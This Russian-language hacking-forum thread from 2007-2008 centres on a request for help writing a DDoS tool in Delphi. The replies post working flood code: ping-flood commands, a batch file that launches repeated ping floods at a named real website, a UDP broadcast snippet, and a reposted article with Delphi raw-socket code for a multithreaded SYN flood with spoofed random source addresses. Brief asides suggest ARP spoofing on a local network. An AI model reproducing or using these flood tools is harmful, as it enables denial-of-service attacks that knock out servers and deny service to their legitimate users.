DDos на Дельфях, есть вопросы((((

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Flame of Soul, 4 Nov 2007.

  1. Flame of Soul

    Flame of Soul Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    185
    Likes Received:
    146
    Reputations:
    45
    Объясните пожалуйста, если написать программу которая будел посылать пакеты допустим по UDP на один и тот же айпи, на открытый порт(на компе жертвы атаки) и запустить на нескольких компах - это будет DDos атакой. И вопрос еще один глупый .. если запустить ее на 60 компах и атаку проводить на один комп это возымеет эффект. Я понимаю что в интернете чтобы положить сервер нужно очень много ботов, но а если это в локале здесь ведь канал трафика больше да и сервак обычный комп(мой комп) то возможно его положить?

    PS: вопроо с целью изучения, и будет тестироваться в крайнем случае на моем компе. Помогите девушке..
     
  2. orcismylife

    orcismylife Elder - Старейшина

    Joined:
    1 Oct 2007
    Messages:
    22
    Likes Received:
    6
    Reputations:
    0
    девушки умеют проггить на дельфях?:)

    про удп флуд не знаю, а я вот с двух компов на 10мбитной сетке запинговывал комп, так что у моего соседа машина лагала, что работать невозможно было.

    ping [IP] -l 65535 -n 200

    кажется так. почитай cmd.exe -> ping /?
     
    1 person likes this.
  3. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Ну пингом сейчас не ддосят имхо, на многих хостах просто стоит опция не принимать Icmp запросы (особенно если файрвол стоит). Попробовать конечно можно, но если владелец компа не дурак, то и тебя вычислит и ддос с себя снимет за пару минут.
     
    _________________________
  4. Flame of Soul

    Flame of Soul Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    185
    Likes Received:
    146
    Reputations:
    45
    Kaimi для хостов конечно ныжно подходить профессионально и без пинга речь о лоалке, и вопрос по дельфям, как я описала - это относиться к DDos или тупо к Dos хотябы атакам? Ребят ну пожалуйста мне больше ни че не нужно, кроме этого... Спасибо всем заранее за ответы...
     
  5. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    DoS-атака (от англ. Denial of Service — «отказ в обслуживании») и DDoS-атака (Distributed Denial of Service — «распределённый отказ обслуживания») — это разновидности атак злоумышленника на компьютерные системы. Целью этих атак является создание таких условий, при которых легитимные (правомерные) пользователи системы не могут получить доступ к предоставляемым системой ресурсам, либо этот доступ затруднён.
    Существуют различные причины, по которым может возникнуть DoS-условие:

    * Ошибка в программном коде, приводящая к обращению к неиспользуемому фрагменту адресного пространства, выполнению недопустимой инструкции или другой необрабатываемой исключительной ситуации, когда происходит аварийное завершение серверного приложения. Классическим примером является обращение по нулевому (англ. null) указателю.

    * Недостаточная проверка данных пользователя, приводящая к бесконечному либо длительному циклу или повышенному длительному потреблению процессорных ресурсов (исчерпанию процессорных ресурсов) либо выделению большого объема оперативной памяти (исчерпанию памяти).

    * Флуд (англ. flood) — атака, связанная с большим количеством обычно бессмысленных или сформированных в неправильном формате запросов к компьютерной системе или сетевому оборудованию, имеющая своей целью или приведшая к отказу в работе системы из-за исчерпания ресурсов системы — процессора, памяти либо каналов связи.

    * Атака второго рода — атака, которая стремится вызвать ложное срабатывание системы защиты и таким образом привести к недоступности ресурса.
     
    _________________________
  6. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    while 1=1 do WinExec('ping [IP] -l 65535 -n 200',SW_HIDE)
     
  7. Flame of Soul

    Flame of Soul Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    185
    Likes Received:
    146
    Reputations:
    45
    а while 1=1 do здесь зачем? вдь он и так отправит 200 пакетов?????
    или это шутка? ведь цикл бесконечный.....
     
    1 person likes this.
  8. ~Lexx~

    ~Lexx~ Elder - Старейшина

    Joined:
    30 Sep 2006
    Messages:
    195
    Likes Received:
    28
    Reputations:
    0
    Интересно - что ты больше повесишь - себя или чужой комп?
     
  9. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    вы не понимаете разницу между DDoS и Флуд атакой...
    ваш вопрос можно расцениват как: "Как провести флуд атаку по протокулу UPD?"
    что-то типа того... но никак ни DDoS...

    это для самоубиц...
    врятли чем-то поможет, тем более следующий шаг цикла не будет предшевствовать предыдущему, значит ping.exe заполнит память, что вызовет отказ в обслуживание, чем чревата минимум fast-reboot, а еще хуже BSOD'ом...
     
  10. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    Ступил ) Сам не понял что написал )
    Ща зделаю флуд по удп и дам исходник
     
  11. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    procedure TMainForm.FormCreate(Sender: TObject);
    var
    Init: TWSAData;
    SockOpt: BOOL;
    Sock: TSocket;
    Target: TSockAddrIn;
    begin
    WSAStartup($101,Init);
    Sock:=Socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
    SockOpt:=TRUE;
    SetSockOpt(Sock,SOL_SOCKET,SO_BROADCAST, PChar(@SockOpt),SizeOf(SockOpt)) ;
    Target.sin_port:=htons(8167); //номер порта
    Target.sin_addr.S_addr:=INADDR_BROADCAST;
    Target.sa_family:=AF_INET;
    SendTo(Sock,Data,DataBytes,0,Target,SizeOf(Target));
    WSACleanup;
    end;
     
    1 person likes this.
  12. RinOS

    RinOS New Member

    Joined:
    18 Dec 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    если нужен просто пинг то можно написать бат файл к примеру вот:

    @echo off
    set /a countping=0
    :dosbegin
    set /a countping=%countping% + 1
    start /min ping j-fan.net.ru -n 999999 -t -l 65000 -w 0
    echo %countping%
    if %countping% == 100 (
    exit /b
    )
    goto dosbegin:

    а если на делфях то вот:

    [Инфо] Я думаю, что ты уже наслышан о DdoS-атаках. Хакеры получают огромные деньги за ddos сайтов, держа ресурсы неделями в ауте. Думаешь, что создать бота, способного производить dos-атаки, очень сложно? На самом деле все очень просто и сейчас ты сам в этом убедишься.
    [Немного теории] DoS (Denial of Service) – это отказ в обслуживании. Т.е. хакер засоряет канал жертвы мусором так, что она не может отвечать на запросы легальных пользователей. Атакующий может сделать это двумя способами: атаки на переполнение буфера (Buffer Overflow) или отправка большого количество мусора (банальный флуд). Мы будем рассматривать второй вариант. Наша программа будет долбить сервер специально сгенерированными пакетами. Почему специальными? Да, потому что обычными запросами ничего не добьешься (точнее добьешься, только таких запросов нужно отправить слишком много). Мы же будем использовать технику, названную syn-flood. Надеюсь, ты знаешь, что такое TCP/IP протокол, и проблем с пониманием работы этой техникой у тебя не возникает.
    Syn-flood основан на особенностях организации соединения между двумя компьютерами по протоколу TCP. Компьютер, который хочет соединиться, отправляет запрос с пакетом SYN. На это другая машина отвечает пакетом с флагом SYNACK. Получив ответ, первый компьютер посылает с флагом ACK, и потом происходит соединение. На рисунках представлена схема соединения.
    Клиент --------SYN----------> Сервер
    Клиент <----SYNACK--------- Сервер
    Клиент --------ACK----------> Сервер
    Везде предусмотрено ожидание (т.е. пакет попадает в буфер), иначе бы люди, сидящие на слабых каналах не смогли бы установить соединение.
    TCP протокол инкапсулирован в IP (т.е. IP пакет содержит в себе TCP пакет). Именно в IP пакете содержится инфа о получателе и отправителе, а значит мы эту инфу можем подменить. Такой прием называется IP-спуфинг. Теперь сервер будет посылать SYNACK-пакет по «левым» адресам. Учитывая то, что буфер будет расти, хакер сможет серьезно замедлить работу сервера, а то и вовсе ее остановить.
    Для того, чтобы все это проделать, придется собирать пакет вручную. А значит придется использовать RAW (сырые сокеты). К сожалению, в Delphi 7 нет поддержки сокетов второй версии (поддерживаются только первые), а самому объявлять необходимые функции и константы мне в лом, поэтому я использовал заголовочный файл WinSock2.pas, скачанный мною из сети.
    [Let’s code] Сначала нужно объявить структуры IP и TCP заголовков. Значение всех полей можно прочитать в RFC.
    PHP код:
    //IP-заголовок
    iph = record
    ip_verlen: byte; //Версия и длина
    ip_tos: byte; //Приоритет пакета
    ip_len: word; // Длина заголовка
    ip_id: word; // id -пакета
    ip_offset: word; //Смещение
    ip_ttl: byte; //Время жизни
    ip_protocol: byte; //Протокол
    ip_checksum: word; //Контрольная сумма
    ip_saddr: longword; //Адрес отправителя
    ip_daddr: longword; //Адрес получателя
    end;
    //TCP-заголовок
    tcph = record
    th_sport: word; //Порт отправителя
    th_dport: word; //Порт получателя
    th_seq: longword; // Последовательный номер
    th_ack: longword; // Подтвержденный номер
    th_len: byte; // Длина заголовка
    th_flags: byte; // Кодовые биты
    th_win: word; // Окно
    th_checksum: word; // Контрольная сумма
    th_upr: word; // Кодовые биты
    end;
    Итак, чтобы начать работу с библиотекой WinSock2, нужно ее инициализировать
    PHP код:
    WSAStartup(MAKEWORD(2,2),WSAdata)
    Теперь создаем «сырой» сокет
    PHP код:
    FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,ni l,0,WSA_FLAG_OVERLAPPED);
    Далее устанавливаем опции соединения (включение заголовка и время отправки):
    PHP код:
    op:=1;
    setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeo f(op));
    nTimeOver:=1000;
    setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOv er,sizeof(nTimeOver));
    Далее следует большой код сборки пакета.
    //Собираем пакет
    //Пишем версию и длину ip-пакета
    ipHeader.ip_verlen:=((4 shl 4)or sizeof(ipheader) div sizeof(longword));
    ipHeader.ip_len:=htons(Size);
    ipHeader.ip_tos:=0; //Приоритет пакета
    ipHeader.ip_id:=1; //id-пакета
    ipHeader.ip_offset:=0; //смещение
    ipHeader.ip_ttl:=128; //время жизни пакета
    ipHeader.ip_protocol:=IPPROTO_TCP; //протокол
    //Генерируем рандомный ip-адресс
    FromIp:='';
    For j:=0 to 3 do
    begin
    RandIp:=random(255);
    Str(Randip,Buffer[j]);
    end;
    //lstrcat –функция для сцепки строк
    lstrcat(Fromip,Buffer[0]); lstrcat(Fromip,'.');
    lstrcat(Fromip,Buffer[1]); lstrcat(Fromip,'.');
    lstrcat(Fromip,Buffer[2]); lstrcat(Fromip,'.');
    lstrcat(Fromip,Buffer[3]);
    ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника
    ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя
    //Заполняем TCP-заголовок
    TCPHeader.th_sport:=htons(Random(65000)); //Порт источника
    TCPHeader.th_dport:=htons(port); //Порт получателя
    TCPHeader.th_seq:=Random(4294967295); //Номер пакета
    TCPHeader.th_ack:=0;
    TCPHeader.th_len:=80;
    //SYN-пакет
    TCPHeader.th_flags:=2;
    TCPHeader.th_win:=htons(65535);
    TCPHeader.th_upr:=0;
    TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже
    //Расчет контрольной суммы
    DataPointer := @TCPIP[0];
    FillChar(TCPIP, SizeOf(TCPIP), 0);
    Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr));
    DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr));
    ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr);
    Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr));
    DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr));
    ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr);
    DataPointer := pointer(integer(DataPointer) + 1);
    Inc(ChecksumSize);
    Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol));
    DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol));
    ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol);
    TcpHeaderLen := htons(sizeof(tcpHeader));
    Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen));
    DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen));
    ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen);
    Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
    DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader));
    ChecksumSize := ChecksumSize + sizeof(tcpHeader);
    tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize);
    FillChar(TCPIP, sizeof(TCPIP), 0);
    DataPointer := @TCPIP[0];
    Move(ipHeader, DataPointer^, sizeof(ipHeader));
    DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader));
    Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
    После чего его нужно отправить
    For i:=0 to 10 do
    begin
    if (sendto(FSocket,TCPIP,Size,0,SockAddr_in,Sizeof(So ckAddr_In))=SOCKET_ERROR)
    then
    Writeln('Send error')
    else
    Writeln('Send ok');
    end;
    Весь код желательно поместить в одну функцию. Чтобы создать достаточную нагрузку на сервер нужно использовать многопоточность. Создаем потоки с помощью CreateThread и ждем завершения выполнения с помощью WaitForMultipleObjects
    PHP код:
    //Создаем потоки
    for i:=0 to (CountT-1) do
    Begin hThread:=CreateThread(nil,0,@SINFLOOD,nil,0,ThreadID);
    end;
    WaitForMultipleObjects(CountT,@hthread,true,INFINI TE);
    Не надейся, что с диалапа ты сможешь завалить сервер Microsoft’а. В настоящий момент у серверов ширина канала и производительность намного превышает пользовательские возможности, поэтому чтобы завалить сервак нужно атаковать его с помощью сети состоящей из большого количества зараженных машин. Также не стоит забывать, что flood карается нашим законадательством, поэтому если не хочешь провети ближайшие несколько лет за решеткой, будь благоразумен.
    материалы к статье - http://narod.yandex.ru/100.xhtml?ml2.../DoS_files.zip
    (c) TanKisT
     
  13. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    не много в жизни встретишь примеров ddos-атаки не основанной на флуде..
     
    1 person likes this.
  14. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    В одной локалке ? ? ?
    да вздерни его через ARP нах и никакого icmp ;) ...
     
    5 people like this.
  15. ZEXEL

    ZEXEL Elder - Старейшина

    Joined:
    7 Jan 2008
    Messages:
    351
    Likes Received:
    193
    Reputations:
    3
    А у кого есть исходник программы для отправки UPD пакетов ? на C++ или Delphi
     
  16. Delimiter

    Delimiter Banned

    Joined:
    8 Apr 2005
    Messages:
    317
    Likes Received:
    173
    Reputations:
    12
    хммммм.... а вы уверены что хотите именно UDP???
    СОРЕВНОВАТЬСЯ У КОГО КАНАЛ ШИРЕ СМЕШНО!!!

    Лучше перечитайте RinOS!!!
    RinOS в принцыпе был точен, ему всего лишь было лень обьяснять
    что произойдет если генериться(craft) будут только SYN пакеты, то есть будут отсутствовать RST и FIN пакеты.

    сессия считается установленной после отсылки сервером
    своего SYN пакета!!!!!!

    Возьмем стандартный TCP сервер(например Apach или легкий KeyFocus).... у каждого из них как правило имеются ограничение на количество одновренных клиентов(активных TCP коннектов).
    И пусть чтото там может разрываться по таймауту но....
    это все измеряется вполне реальными секундами... в течении которых вы можете "завалить" сервер SYS-ами.


    А за то что написал W!z@rD вас четвертует (или еще хуже)собственный админ!!!
     
    #16 Delimiter, 10 Jan 2008
    Last edited: 10 Jan 2008
    1 person likes this.
  17. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Delimiter, а у тебя на аватаре ты сам нарисован или кто-то другой?
     
  18. Delimiter

    Delimiter Banned

    Joined:
    8 Apr 2005
    Messages:
    317
    Likes Received:
    173
    Reputations:
    12
    А чего уже вывесили "Его разыскивает отдел К"?

    дык там все фотожопером сделано.... на самом деле я толстый и лысый
     
  19. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    такой как я?
     
  20. Delimiter

    Delimiter Banned

    Joined:
    8 Apr 2005
    Messages:
    317
    Likes Received:
    173
    Reputations:
    12
    ну дык может у нас папа общий.... у меня папа - лейтенант Шмит (человек и пароход) к тому же турецкоподданый!